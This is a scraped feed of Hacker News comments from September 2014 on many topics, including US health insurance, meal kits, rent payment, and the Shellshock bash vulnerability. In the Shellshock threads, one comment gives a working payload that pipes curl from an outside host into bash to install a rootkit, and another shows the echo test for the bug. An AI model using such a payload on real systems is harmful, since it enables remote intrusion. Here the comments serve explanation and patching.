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gk1

Ask HN: How do US HNers get their health insurance?

tommichaelis

I'm self-employed and use a catastrophic healthcare plan, found through the healthcare market (http://healthcare.gov). There were some hiccups in the beginning when I had to call repeatedly to ensure all the paperwork went through, but that's expected (unfortunately).

Hi guys,I'm from the UK and am engaged to a US citizen. A month and a half ago she lost her job, and health insurance, and since then I've been helping her through some sort of Kafka-esque nightmare regarding that. She's decided for now to use COBRA, under which she can continue with her old employer's coverage. It took about 3 weeks for the paperwork for that to come through, which we returned immediately, and we're now being told that once the payment comes through, it'll take a week and a half for the coverage to restart. So all in all, it looks like my fiancee is going to have spent over a month without health coverage. While once the coverage restarts, it'll be backdated to the 1st September (so she can claim for any out of pocket expenses she incurred), it seems crazy that for the last month any sort of serious health issue could have financially ruined her.The plan is to move to the US post marriage. This whole ordeal has put me off the idea of getting health insurance through an employer - I certainly don't want to spend time uninsured on the offchance I lose my job for whatever reason - not least because sods law states that that's the point that I'll get hit by a bus or some such. How many American HNers pay for their health insurance themselves? If you're working for someone who generally offers health insurance, but you choose not to take it, is there ever any scope for persuading them to contribute some money to your personal costs?

2014-09-24 18:10:39 UTC

audiodude

Gobble Promises to Help Customers Make Delicious Meals in 10 Minutes or Less

yurisagalov

For 12 bucks a person, I'm sorry, I'm going to the local taqueria, getting my burrito cooked for me, and saving 4 bucks. Forget cooking.

2014-09-24 18:11:43 UTC

FranOntanaya

CVE-2014-6271: Remote code execution through bash

vault_

Saucy wasn't patched by the time I did a do-release-upgrade a while ago.

2014-09-24 18:15:48 UTC

eksith

How to tell when a robot has written you a letter

Thevet

If the amount of energy and money spent on this level of sophistication can be devoted to actual customer service, imagine their retention. After all, it's the retention that keeps your business going. If your customers will spread the word about you too, that's far more convincing than "convincing looking" handwriting.

2014-09-24 18:16:00 UTC

tjnahigian1

The Data on Tech Industry Pay

brackin

Impressed with Credit Karma

2014-09-24 18:16:08 UTC

bmm6o

Why Is Box Taking So Long to Pull the IPO Trigger?

bdehaaff

What's the usual amount of time between filing an S-1 and announcing the details of the IPO?

2014-09-24 18:17:15 UTC

divya

Gobble Promises to Help Customers Make Delicious Meals in 10 Minutes or Less

yurisagalov

i ordered these meals last week; the quality was better than any meal service i've tried, including fully cooked (micrawave/oven reheat) meals. The problem with other meal services is that when meat and fish are pre-cooked and then re-heated in a microwave, they get rubbery; Gobble solves this problem by doing everything EXCEPT the actually cooking. People on this thread say that the prep work is part of the joy of cooking; to them, I say that Gobble is not for you. Gobble is for people that want to eat delicious, fresh-tasting meals, but on the time-line/convenience of take-out. Price-point is also similar to take-out. Gobble is not intended to be an alternative to home-cooking, it's an alternative for take-out. And for that purpose, it's awesome. One suggestion to the Gobble team: list ingredients, especially allergens (on the website as well as in the package). We had to call every night to find out whether each dish contained egg, because we have a severe allergy in the family.

2014-09-24 18:17:40 UTC

eitally

When It Comes to Facebook Scale, You Can Throw Out the Rulebook

coreymgilmore

We are the integration partner for Facebook, at least in Europe, and one of our divisions helped them work through some design challenges re: heat dissipation, PDU routing, and HDD density. We are NOT the EMS who manufacturers the servers for them, and the well-known company they're using is providing crap quality. We see about 10% failure (to the point of having to scrap the server) rate after we rack and start burn in and system test.Honestly speaking, one of the things that interested me the most was the fact that FB is running a custom Linux kernel ... and they update it way more frequently than our test engineers are happy about. I'm happy to answer non-NDA questions.

2014-09-24 18:17:55 UTC

jtfairbank

Ask HN: How do US HNers get their health insurance?

tommichaelis

Mom & School. Thanks Obama! No really, thank you. I presume you're older than 27 though?

Hi guys,I'm from the UK and am engaged to a US citizen. A month and a half ago she lost her job, and health insurance, and since then I've been helping her through some sort of Kafka-esque nightmare regarding that. She's decided for now to use COBRA, under which she can continue with her old employer's coverage. It took about 3 weeks for the paperwork for that to come through, which we returned immediately, and we're now being told that once the payment comes through, it'll take a week and a half for the coverage to restart. So all in all, it looks like my fiancee is going to have spent over a month without health coverage. While once the coverage restarts, it'll be backdated to the 1st September (so she can claim for any out of pocket expenses she incurred), it seems crazy that for the last month any sort of serious health issue could have financially ruined her.The plan is to move to the US post marriage. This whole ordeal has put me off the idea of getting health insurance through an employer - I certainly don't want to spend time uninsured on the offchance I lose my job for whatever reason - not least because sods law states that that's the point that I'll get hit by a bus or some such. How many American HNers pay for their health insurance themselves? If you're working for someone who generally offers health insurance, but you choose not to take it, is there ever any scope for persuading them to contribute some money to your personal costs?

2014-09-24 18:18:17 UTC

ocfx

Mobile Web App Checklist

coderzach

Can someone demo the 'Absolute position your fixed header' part, I can't seem to emulate the fixed functionality with absolute positioning.

2014-09-24 18:18:24 UTC

edro

Justin Gordon Using React on Rails

kylehudson

Awesome article. Thanks Justin!

2014-09-24 18:20:02 UTC

Eclyps

CVE-2014-6271: Remote code execution through bash

vault_

Amazon's Linux distro for EC2 is still waiting for a patch.EDIT: Finally got things updated. Bulletin can be found here: https://alas.aws.amazon.com/ALAS-2014-418.htmlIf yum isn't finding the update, try running "yum clean all" and then "yum update bash"

2014-09-24 18:20:13 UTC

_archon_

Kevin Mitnick Now Selling Zero-Day Exploits

privong

As an off-topic note, I'd like to see if the font is showing up as poorly for anyone else as it is for me. The kerning is atrocious, and several rounded lower-case letters run into each other. This article is hard to read. ea, oa, ce...

2014-09-24 18:20:44 UTC

linkeex

Mobile Web App Checklist

coderzach

Great list!I love the development we're seeing in modern mobile web apps. The web is definitely ready but still everybody around me seems to think that when you're the owner of a business then you should also provide your users with a special app on Android and iOS and a web site.For example: A nightclub in a nearby provincial town as an iOS App for announcing new parties.I think that you only should consider creating an app as a business if you're doing more than providing your customers with information.A great modern mobile web app I'm using a lot is: http://cheeaun.github.io/hackerweb/#/If you save it to your homescreen on Android(Chrome), you will quickly forget that it's a web app.Trust me and try it!

2014-09-24 18:21:01 UTC

constantx

Justin Gordon Using React on Rails

kylehudson

neat insight! A friend of mine convinced me to try React, though I can't say that I'm sticking with it. Besides the mix syntax, my take was it's just another way of building the UI.My breaking point was when it breaks all my jshint and jscs grunt tasks :) So now I'm migrating to use RactiveJS instead (same virtual DOM diff) with the addition of Mustache as a full template engine, which is what we actually need :)

2014-09-24 18:24:51 UTC

segmondy

When It Comes to Facebook Scale, You Can Throw Out the Rulebook

coreymgilmore

Nothing new, but there are still lessons to take away. As a software engineer, I agree with removing constraints/rules to see what new things could happen, bringing in people across different domains to tackle new problem instead of just software engineers, and absolutely watching your users use your product.

2014-09-24 18:24:57 UTC

taylorfausak

Mobile Web App Checklist

coderzach

This is a great list! I have to nit pick the touch icon and splash screen sections, though. It's a lot more complicated than that. You need at least 8 <link> tags for touch icons and 7 for splash screens, just to support iOS <= 7. http://taylor.fausak.me/2013/11/01/ios-7-web-apps/

2014-09-24 18:25:08 UTC

huskyr

Mobile Web App Checklist

coderzach

Given the title i was expecting a list of obvious things like 'make sure you test your web app before deploying', but it's actually more like a giant list of frontend tricks for web apps. Awesome, and a lot more useful!

2014-09-24 18:25:23 UTC

magikid

Show HN: Beyondpad – New kind of note taking and data management solution

dzjosjusuns

It's like a productive Pinterest.

2014-09-24 18:25:38 UTC

danford

Gnome 3.14 Released

xfalcox

Is Fedora 21 Alpha my best choice for trying this out?

2014-09-24 18:26:22 UTC

pbrumm

CVE-2014-6271: Remote code execution through bash

vault_

Don't forget to update your docker containers and restart them.

2014-09-24 18:27:07 UTC

dude3

Mobile Web App Checklist

coderzach

One thing to add. If using iOS, use png backgrounds and images vs jpg. Even though they have a larger file size, you will see a MASSIVE performance increase on iPhone (night and day on old iphone 4's and 4s). You can even use PNG 24 but preferably PNG 8.

2014-09-24 18:27:14 UTC

joshkaufman

Ask HN: How do US HNers get their health insurance?

tommichaelis

We use a HSA-qualified high-deductible policy from Humana One (https://www.humana.com/individual-and-family/) with 100% coverage after deductible, and we deduct premiums as a business expense. We make the maximum HSA contribution every year, which makes all of our family healthcare spending tax-deductible. Coverage can be obtained quickly and prices are generally reasonable, particularly if you don't have kids.For routine care, we subscribe to MDVIP (http://www.mdvip.com), which has been fantastic. The subscription pays for a very comprehensive annual physical (of the type Fortune 500 execs get every year), and helps the physician maintain their practice with a smaller number of clients, so you can schedule visits same-day if you need to.Because we cover healthcare expenses out of the HSA, it pays to shop around for things like prescription drugs. Tools like GoodRx (http://goodrx.com, details on how it works at http://kk.org/cooltools/archives/22342) help save a lot of money.Hope this helps.

Hi guys,I'm from the UK and am engaged to a US citizen. A month and a half ago she lost her job, and health insurance, and since then I've been helping her through some sort of Kafka-esque nightmare regarding that. She's decided for now to use COBRA, under which she can continue with her old employer's coverage. It took about 3 weeks for the paperwork for that to come through, which we returned immediately, and we're now being told that once the payment comes through, it'll take a week and a half for the coverage to restart. So all in all, it looks like my fiancee is going to have spent over a month without health coverage. While once the coverage restarts, it'll be backdated to the 1st September (so she can claim for any out of pocket expenses she incurred), it seems crazy that for the last month any sort of serious health issue could have financially ruined her.The plan is to move to the US post marriage. This whole ordeal has put me off the idea of getting health insurance through an employer - I certainly don't want to spend time uninsured on the offchance I lose my job for whatever reason - not least because sods law states that that's the point that I'll get hit by a bus or some such. How many American HNers pay for their health insurance themselves? If you're working for someone who generally offers health insurance, but you choose not to take it, is there ever any scope for persuading them to contribute some money to your personal costs?

2014-09-24 18:27:16 UTC

JacobEdelman

The biggest thing with small patches (2004)

ohmygeek

Is it just me or is the main reason this is being upvoted so much is because Linus said something without a bad attitude? This isn't a rhetorical question, I honestly want to know.

2014-09-24 18:27:45 UTC

blake8086

Kevin Mitnick Now Selling Zero-Day Exploits

privong

If I were, say, some sort of Global Passive Adversary, I would try very hard to spy on Mitnick's communications. Then I could have all the vulnerabilities, and know who is buying and selling.I wonder if maybe that has occurred to anyone.

2014-09-24 18:28:15 UTC

film42

iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

My phone has been blowing up with my friends and family asking me how to fix their broken phones. It's been a very interesting morning.

2014-09-24 18:29:01 UTC

3327

iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

If Jobs was here heads would be rolling as we speak.

2014-09-24 18:30:30 UTC

juantwo

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

Pretty neat idea. LOL at their video http://youtu.be/0kXTual0lfk

2014-09-24 18:30:31 UTC

revisionzero

iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

No idea how this patch passed QA Testing internally.

2014-09-24 18:31:03 UTC

Fastidious

iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

Apple just pulled out the update.

2014-09-24 18:32:01 UTC

geraldoramos

Justin Gordon Using React on Rails

kylehudson

Thanks Justin, great read

2014-09-24 18:32:25 UTC

lowglow

Justin Gordon Using React on Rails

kylehudson

Read this as Joseph Gordon-Levitt and got way too excited.

2014-09-24 18:32:45 UTC

curtis3389

Alexey Chervonenkis found dead

reinhardt

I suppose this is a good time to mention hiking safety.Boy Scouts of America Hiking Safety Recommendations:- Always tell someone where you are going and when you will return.- Never hike alone or at night; use the buddy system.- Dress properly for the weather and environment.- Wear sun and insect protection- Take an extra pair of socks in case you need to change.- Obey traffic signs and signals.- Avoid hiking along roadways.- Stay on the trail.- Be alert to your surroundings.- Don't litter as you hike.- Be alert to dangerous animals, insects, and plants.- Never touch a wild animal.- Take 1 pint of water for each hour you will be hiking.- Never drink untreated water.

2014-09-24 18:33:01 UTC

meepmorp

iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

Has this release been pulled? It's not available in the iOS dev center and the one device I tried updating (before seeing this message) has been downloading it forever (well, 45 min so far).

2014-09-24 18:33:06 UTC

saidajigumi

iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

FYI, this is/was a problem affecting the OTA release for the iPhone 6 and 6 Plus. iOS 8.0.1 was in the dev center, but was pulled along with the OTA release.

2014-09-24 18:35:19 UTC

dreamweapon

Gobble Promises to Help Customers Make Delicious Meals in 10 Minutes or Less

yurisagalov

Just goes to show: the more The Current Bubble continues to purr and hum along, the more gimmicky-er, patently implausible (business-wise) & just plain wasteful the business models become.

2014-09-24 18:35:21 UTC

post_break

The biggest thing with small patches (2004)

ohmygeek

Reminds me of Lawrence of Arabia. "Big things have small beginnings" I've contributed tiny bug fixes and the feeling was great. I did that, me.

2014-09-24 18:35:28 UTC

computerjunkie

Gobble Promises to Help Customers Make Delicious Meals in 10 Minutes or Less

yurisagalov

Here is my take on all these pre - made food services.I love cooking, but I'm not great at it yet and probably never will be a master chef. Over the year, I have learned (the hard way sometimes) ingredients that work well together and one that don't. The whole experience of going to the supermarket, preparing food and cooking it at is somewhat therapeutic really. The best part is when it works out so well you feel satisfied...something like programming and you get it to work, bug free.I'm sure we here have heard the of the phrase "Cooking is like programming", it really is in a way.But I guess we live in an age where people think its a chore. Cooking is a craft, just like every other skill. Take some time out and learn the basics of cooking and you will be fine.

2014-09-24 18:35:43 UTC

forestgood

Justin Gordon Using React on Rails

kylehudson

Good read, thanks for putting this together. Going to run through this tutorial this weekend.

2014-09-24 18:36:16 UTC

kefka

Libsodium 1.0.0 released

jedisct1

Can someone much smarter than I tell me if this is safe to use? Or better yet, when a time period has passed to consider it safe to use?

2014-09-24 18:36:38 UTC

tokenadult

San Diego Researcher Crowdfunding Patent-Free Cancer Drug

udibai

Well of course everyone wishes well to anyone pursuing a promising avenue of research in treating cancer, but what I see here is an online news site with a tiny reporting staff[1] recycling what is plainly a press release with an included video as part of the press release. A press release is how people go about raising crowdfunding, of course, but the role of press releases in the science news cycle[2] is more to hype a speculative idea that may not work than to report on what is known for sure.The researcher who is profiled (through his own press release) in the article kindly submitted here appears to have written in 2010 a caution about speculative research. "Ultimately, every cross-disciplinary research niche must achieve a level of maturity. We would characterize maturity as having two defining aspects: First, a respectable level of reproducibility is required, and clear operating procedures using methods accepted by the research community. Secondly, enough repeated experiments have been conducted that broader meta-analyses can be conducted to glean additional or unexpected information about the system. These two aspects, combined, suggest ability and need to begin a process of standardization so that comparisons may be made to assess quality of research, and to bolster the strength of peer review. Ultimately, standardization opens up the avenue for practical engineering."[3] That sounds about right. If we can find replicable results with this approach, then we have something to talk about.[1] http://timesofsandiego.com/staff/http://timesofsandiego.com/about/[2] http://www.phdcomics.com/comics/archive.php?comicid=1174[3] Yonemoto, I. T. and Tippmann, E. M. (2010), The juggernauts of biology. Bioessays, 32: 314–321. doi: 10.1002/bies.200900142http://onlinelibrary.wiley.com/doi/10.1002/bies.200900142/ab...

2014-09-24 18:37:36 UTC

derwiki

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

It costs 3.25%, or $74.25 for the example of $2300. So if you're looking to just rack up "reward points", you'd be best pumping through a payment processor that takes a smaller cut.$5/month for debit is more reasonable, but my bank will mail my rent check for free.

2014-09-24 18:39:50 UTC

paulgerhardt

How to tell when a robot has written you a letter

Thevet

Is there a Makerbot equivalent for these machines?

2014-09-24 18:39:57 UTC

jdimov

CVE-2014-6271: Remote code execution through bash

vault_

All the explanations of why this is bad seem to involve CGI. Didn't the CGI interface die in the 90's? Who uses that nowadays?

2014-09-24 18:40:31 UTC

nogridbag

Make Dinner: A Home Cooking Manifesto

jcater

"The mission: to make each one of us a better cook."I'm sure this website will help some people, but definitely not me. When I first started cooking, I wanted to start at step 1. But sites like these simply throw recipes at you without teaching you the techniques first. There's a tips section, but it's not connected to the recipes at all.Luckily, I found Rouxbe.com a couple of years ago. I liked it so much I bought a lifetime membership (no longer offered). If your personality is like mine and you want to know explicitly how and why things should be done, I definitely recommend Rouxbe. For example, when learning how to pan fry, you're first taught how to properly heat a pan, what sounds to listen to when pan frying, how to adjust the temperature, what type and size pan to buy, etc. And of course there's a user forum with professionals to answer any dumb questions you might have.

2014-09-24 18:41:04 UTC

justizin

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

Or sign up for a credit union which will surely do this for free.

2014-09-24 18:41:06 UTC

photofriendly

Ask HN: Anyone have experience in buying a domain from a squatter?

guybrushT

Have you tried emailing them from the Whois info you acquired? Email them and let them know why you are interested in the domain and ask if its for sale and how much they would like for it. Probably the most straight forward way to get information.

I am interested in buying a domain (my name dot com). Whois.net shows that it is owned by a company - "JNOM Online Marketing LLC".A few days ago it was available via auction on sedo.com. I entered the auction, and placed the highest bid. I was outbid just 2 minutes before the end of the auction. The domain is still owned by "JNOM Online Marketing LLC." (the previous owner).I don't understand why they would outbid me at the last minute for my name dot com? :) My name is just a stupid hindu uncommon name that doesn't mean anything in the western world, so why would this company in Maryland outbid me :)I believe the sedo.com auction was a sham. In that case, does anyone have a clever strategy to get my name from "JNOM Online Marketing LLC." :) Or any help regarding this would be very helpful. Thank you.

2014-09-24 18:41:18 UTC

dllthomas

iPhone 6 Plus bending in pockets

robot_scream

I'm skeptical about the reporting, but the quotes are choice:"This is not an issue that Apple - or other phone companies - need to be compelled to respond to or fix. If anything this is a reflection of how people have started to use devices beyond what they were designed for,"What kind of absurd industry apologist do you have to be to assert flatly that there's no reason people should be expecting their phones to hold up to pockets? I thought the whole reason people want thinner phones in the first place was so they fit better in their pockets.

2014-09-24 18:41:29 UTC

orionblastar

Ask HN: How do US HNers get their health insurance?

tommichaelis

I ended up on disability in 2003, been on Medicare ever since.Got a part D plan.Private insurance covers more, but the monthly cost of Medicare is cheaper. Your private insurance costs more per month, than Medicare, but covers more things.Medicare for example has a doughnut hole for prescriptions and if you reach it, you aren't covered until you spend $3500 of your own money to get out of the hole on prescriptions. It used to just be for name brands but ACA added in new holes for generics. My medicine that is generic is $370/month until I am out of that doughnut hole.http://www.goodrx.com/That website gave me a discount code that got my medicine down to $112/month instead. I'd recommend it for anyone having price issues with their medication.

Hi guys,I'm from the UK and am engaged to a US citizen. A month and a half ago she lost her job, and health insurance, and since then I've been helping her through some sort of Kafka-esque nightmare regarding that. She's decided for now to use COBRA, under which she can continue with her old employer's coverage. It took about 3 weeks for the paperwork for that to come through, which we returned immediately, and we're now being told that once the payment comes through, it'll take a week and a half for the coverage to restart. So all in all, it looks like my fiancee is going to have spent over a month without health coverage. While once the coverage restarts, it'll be backdated to the 1st September (so she can claim for any out of pocket expenses she incurred), it seems crazy that for the last month any sort of serious health issue could have financially ruined her.The plan is to move to the US post marriage. This whole ordeal has put me off the idea of getting health insurance through an employer - I certainly don't want to spend time uninsured on the offchance I lose my job for whatever reason - not least because sods law states that that's the point that I'll get hit by a bus or some such. How many American HNers pay for their health insurance themselves? If you're working for someone who generally offers health insurance, but you choose not to take it, is there ever any scope for persuading them to contribute some money to your personal costs?

2014-09-24 18:42:22 UTC

mturmon

Alexey Chervonenkis found dead

reinhardt

Chervonenkis had an appointment at Royal Holloway College, and their site has more:http://www.clrc.rhul.ac.uk/people/chervonenkis/I slightly knew Vladimir Vapnik for a while when he was at AT&T research, and he was a very kind, approachable, and passionate guy. You just had to not let his rather formidable reputation (VC dimension, uniform convergence, and the SVM, which at the time was just emerging) get in the way.

2014-09-24 18:43:56 UTC

fireworks10

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

Most major banks offer a service called 'bill pay' which does this for free, directly from your checking account. Your bank first tries to pay the receiver electronically if they are in the banks network (most utility or other major companies would likely be in-network), and if they aren't in network or if they are just a person and not a company, then the service sends them a physical check in the mail.[1]https://www.bankofamerica.com/onlinebanking/online-bill-pay....[2]https://www.chase.com/online-banking/online-bill-pay[3]https://www.wellsfargo.com/online-banking/bill-pay/

2014-09-24 18:44:26 UTC

philbarr

Make Dinner: A Home Cooking Manifesto

jcater

The problem with any of these things is that they're just recipes. What we really need is something that deconstructs cooking skills into easily learnt, repeatable practices.It's like with the very recipe here - it's supposed to be for novice cooks, or those that never cook at home, to encourage them into home cooking, but at one point the recipe says:"When the chicken has cooked through, take it out of the pan and pour off all but a couple of tablespoons of the fat in the pan, and make a quick gravy."Novice cook thinks:- how do I know when the chicken has cooked through?- which bit is the fat?- how do I make a "quick gravy"?Instead, they should have created a "beginner's spatchcocked chicken" where you learn all of the principles of just that one thing, maybe you also learn how to make mash potato out of a packet or oven fries. Then "level 2" would go on to the gravy. And so on...It's frustrating, as someone who is interested in cooking and is trying to learn, that there are a million and one recipes out there, but very few things that teach first principles. For example:- how to properly season something (how do you know how much salt and pepper to put on)- knife handling and care- classic flavour combinations- preperation of all meats, veg, fruits- what you should always have in your kitchen (stock, garlic, chilli, etc.)This is to name just a few. These million and one recipes just end up with you buying a bunch of herbs and spices you use once, then taking ages over preparing and washing up after; and some of them are basically the same with minor variations.

2014-09-24 18:45:26 UTC

grecy

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

The use of checks baffles me. I'm 32 and have lived my life in Australia and Canada, have never had a check book and never needed/wanted one.To pay rent, bills, send money to friends/family and other similar items, I put a name and bank account number into my internet banking and setup a scheduled transfer every month. It's free, and it works irrelevant of who is with what bank.Why doesn't the US have this?

2014-09-24 18:46:07 UTC

tantalor

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

Video seems in poor taste.

2014-09-24 18:47:03 UTC

maxmzd_

Mobile Web App Checklist

coderzach

Awesome list! I used Zach's interaction library, Impulse, in a recent project and it's fantastic. http://impulse.luster.io/ This guy really knows his stuff.

2014-09-24 18:47:04 UTC

sebst

Ask HN: Anyone have experience in buying a domain from a squatter?

guybrushT

If the domain is already on sedo, use their team to get the domain. They have agents which will do the negotiation with the current domain owner for you and charge a relatively small fee. I used this service for some domains which was not even listed on sedo and found it helpful.

I am interested in buying a domain (my name dot com). Whois.net shows that it is owned by a company - "JNOM Online Marketing LLC".A few days ago it was available via auction on sedo.com. I entered the auction, and placed the highest bid. I was outbid just 2 minutes before the end of the auction. The domain is still owned by "JNOM Online Marketing LLC." (the previous owner).I don't understand why they would outbid me at the last minute for my name dot com? :) My name is just a stupid hindu uncommon name that doesn't mean anything in the western world, so why would this company in Maryland outbid me :)I believe the sedo.com auction was a sham. In that case, does anyone have a clever strategy to get my name from "JNOM Online Marketing LLC." :) Or any help regarding this would be very helpful. Thank you.

2014-09-24 18:51:28 UTC

BenjaminCoe

CVE-2014-6271: Remote code execution through bash

vault_

Wanted to share the simple Ansible script we used to patch CVE-2014-6271 at npm: https://github.com/npm/ansible-bashpocalypse

2014-09-24 18:51:50 UTC

kazinator

Analyzing Programming Languages Using Rosetta Code

nkurz

There is a potential problem using Rosetta for this kind of comparative study is that there are relatively few programmers working on the Rosetta code samples.For some languages, the main person who does all the work is not very skilled. Perhaps that person is just doing it as a learning exercise. Or in other cases, the person just doesn't have it on their agenda to make the program as short as possible.All else being nearly equal, languages whose Rosetta contributors fall into the above categories will "lose" to those languages for which the "Rosetta person" is an expert programmer and advocate of the language (perhaps one of the authors of the language, even!), who is working deliberately to make the code as slick as possible to promote the language, and regards Rosetta to be a competitive playing field.

2014-09-24 18:52:36 UTC

femto113

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

As many other comments have pointed out almost everyone with a debit card already has a free bill pay option from their bank. Thus the only real market for this is paying by credit card. Spiraling debt? Chargebacks? This is going to end badly.

2014-09-24 18:53:12 UTC

mamurphy

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

>It's just $4.95/month for Debit and 3.25% for Credit.Writing and mailing a check is worth the $4.50 price difference to me. But if it isn't to you, this may be a good deal.Looks like this is a recent add-on to their previous apartment listing/finding service.

2014-09-24 18:53:54 UTC

LesZedCB

Make Dinner: A Home Cooking Manifesto

jcater

I think this is great! My only comment is I wish that the first example was something where meat wasn't the centerpiece. As a culture, we already consume so much more meat than is sustainable, maybe a good home cooked meal where a grain and some vegetables are the centerpiece might encourage fixing that problem, as well as being all around easier to cook!

2014-09-24 18:54:25 UTC

mpthrapp

E La Carte Raises $35M to Expand Pay-at-the-Table Technology

katm

I've used one of these systems before, and I gotta say, I really like it.

2014-09-24 18:54:43 UTC

searine

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

50 bucks in fees just to pay my rent?I'll write a check, thankyouverymuch.

2014-09-24 18:55:50 UTC

CGamesPlay

Bash bug as big as Heartbleed

dpeck

It's serious. It's a remote code execution vulnerability under whatever user was running bash, and can be exploited by controlling an environment variable. For example, if I enter () { _;}; curl http://rootk.it | bash As my username on your website, and your website runs a script and sets TARGET_USER to my username, then I will install my rootkit on your web server.See: https://access.redhat.com/articles/1200223

2014-09-24 18:55:52 UTC

natrius

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

My apartment building uses Yapstone's RentPayment.com, which charges me a flat $24.95 fee to use my credit card. I wonder what they're doing to get around processor fees that RadPad isn't.

2014-09-24 18:55:55 UTC

rgbrgb

Justin Gordon Using React on Rails

kylehudson

The fixed header and footer on this page makes this very hard to read. They take up like 20% of the vertical screenspace on my 13" MBP.

2014-09-24 18:56:00 UTC

mindcrime

Question: What is the best startup names you know?

inchevd

My favorite startup name? "Fogbeam Labs". But I'm just a little biased. :-)

I see lots of startup names on ProductHunt. Some are cool, some are crazy, what are your favs?

2014-09-24 18:57:30 UTC

mathetic

Kevin Mitnick Now Selling Zero-Day Exploits

privong

Basically, he is doing arm trade in 21st century.

2014-09-24 18:57:55 UTC

mgmeyers

Show HN: Beyondpad – New kind of note taking and data management solution

dzjosjusuns

This looks awesome, well done!What are your plans for the future? Is this just a hobby project, or is it something you plan on monetizing or open sourcing? The reason I ask is, I've seen a lot of projects like this fizzle out, which makes me weary of investing any time into using it.That being said, I'm excited to see your future developments and refinements on this project!

2014-09-24 18:58:12 UTC

cafard

Why the Chinese Military Is Only a Paper Dragon

11thEarlOfMar

It can hardly be worse equipped than it was 60 years ago, yet then it inflicted quite a few casualties on the US and NATO forces in Korea, and drove them back south of the 38th Parallel.

2014-09-24 18:58:56 UTC

64mb

Pay your rent with a Credit or Debit card. No landlord signup required

tylergalpin

People still use cheques? Don't you guys over the pond have Direct Debits?

2014-09-24 18:58:57 UTC

super_mario

CVE-2014-6271: Remote code execution through bash

vault_

Interestingly enough ancient BASH version 3.2 on Mac OS X 10.9.5 is not vulnerable: $ echo $BASH_VERSION 3.2.51(1)-release $ x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test $ I manually patched my BASH 4.3 to patch level 25 so it's not vulnerable either. $ echo $BASH_VERSION 4.3.25(1)-release $ x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test $

2014-09-24 18:59:33 UTC

jckt

Make Dinner: A Home Cooking Manifesto

jcater

Happy to see a cooking thing instead of a Soylent thing on HN (but to each their own). An article in similar spirit, but more focused on why you should consider cooking at home, rather than how you would go about doing so:https://medium.com/lucky-peach/the-end-of-the-world-as-we-kn...

2014-09-24 19:00:15 UTC

bradya

SlackTextViewController: A new growing text input for iOS

bradya

We tried other popular text input projects for iOS, but none felt right and worked fully for our needs. We ended up spending a big portion of our time maintaining custom versions of other projects.For that reason, we decided to build our own growing text input from scratch, and we've just released it as open source. We hope you all will find it useful!

2014-09-24 19:00:22 UTC

jasode

Make Dinner: A Home Cooking Manifesto

jcater

>It is a habit as easy to form as a bad one, and more beneficial by far.>...>Demonstrably it is more pleasant than a microwaved stew or takeout curry or a pizza delivered from miles away. Cheaper, too.It's not "easy" or "more pleasant" if you're stressed for time.Most of the article's paragaphs focus on techniques or process. It's as if they assume the reader is afraid of pots & pans. Or they think the complexity of combining ingredients paralyzes the reader with PTSD from high school chemistry exams.The main roadblock isn't ignorance of techniques or lack of recipes. (Those are available with a few clicks of youtube or google.) The issue is available time.We can read these cooking manifestos and all nod in agreement because the benefits make logical sense but the real issue is that the cookbooks and essays don't magically conjure up a nanny to pick up our kid from daycare so we can multitask the chopping of veggies and stir the tomato sauce. Or we're young unmarried 20-something and we're working 60+ hours a week to meet a deadline with no time slot to cook from scratch. (Sounds like those google catered meals makes a lot of sense for programmer productivity.)By my personal estimates, home cooking requires 4x to 5x more time than ordering prepared meals (fast food or Whole Foods deli takeout.) It takes a significant amount of time to home cook even if you stick to those simple "cook in 30 minutes" type of meals. (Those 30 minute estimates never include shopping, meal planning, prep, and cleanup.)One strategy to compromise between time and convenience is to cook a bulk supply of a meal (say big pot of quinoa) on Sunday and then eat it as leftovers for the rest of the week. It's a great idea to batch the prep & cleanup on Sunday and leave Monday-Saturday simply as microwave reheating days. The problem with that is many folks are turned off by eating the same thing every day.Perhaps with all this trend around "sharing economy" like Uber, a web service can bring together the folks who have time to cook with the folks who don't that all live within very close proximity to each other. A web 2.0 manifestation of comparative advantage in economics. A handful of "home chefs" in the apt or condo complex shops and makes the meals while others pay for their portion. This may not work for suburban neighborhoods because getting in a car or walking 10 blocks can be too much friction (distance, raining, etc).

2014-09-24 19:04:54 UTC

rgejman

San Diego Researcher Crowdfunding Patent-Free Cancer Drug

udibai

We already have crowd funding for science. We do it as a whole society when we fund the various grant-giving agencies in this country. I cannot emphasize how bad of an idea it is to take funding decisions away from professional scientists and place them in the hands of untrained individuals, no matter how enthusiastic they may be nor how much money they are willing to throw away.

2014-09-24 19:06:10 UTC

kolev

Gnome 3.14 Released

xfalcox

Gnome Shell is really beautiful and practical. I'm switching to Fedora Rawhide (I tried Arch Linux, but got a bit disappointed with it), because I got tired of Ubuntu's effort to boycott Shell (although you can still install it) instead of merging efforts to create desktop experience at par with Windows and OS X. My only issue was the lack of a dark Gnome 2 theme in Adwaita. Does anyone know if 3.14 fixes that?

2014-09-24 19:07:17 UTC

ZoFreX

Libsodium 1.0.0 released

jedisct1

The only part of this I care about right now is the random number generation. It looks good. Pity there's no way to get a float though, for a drop-in drand replacement.

2014-09-24 19:07:41 UTC

c00b

Justin Gordon Using React on Rails

kylehudson

dopeness - very useful

2014-09-24 19:09:05 UTC

squiguy7

Ask HN: Which tech companies have offices in New York City?

chromedude

DigitalOcean is based here. And like others have said, many companies are either started here or have a satellite office.

2014-09-24 19:09:23 UTC

incision

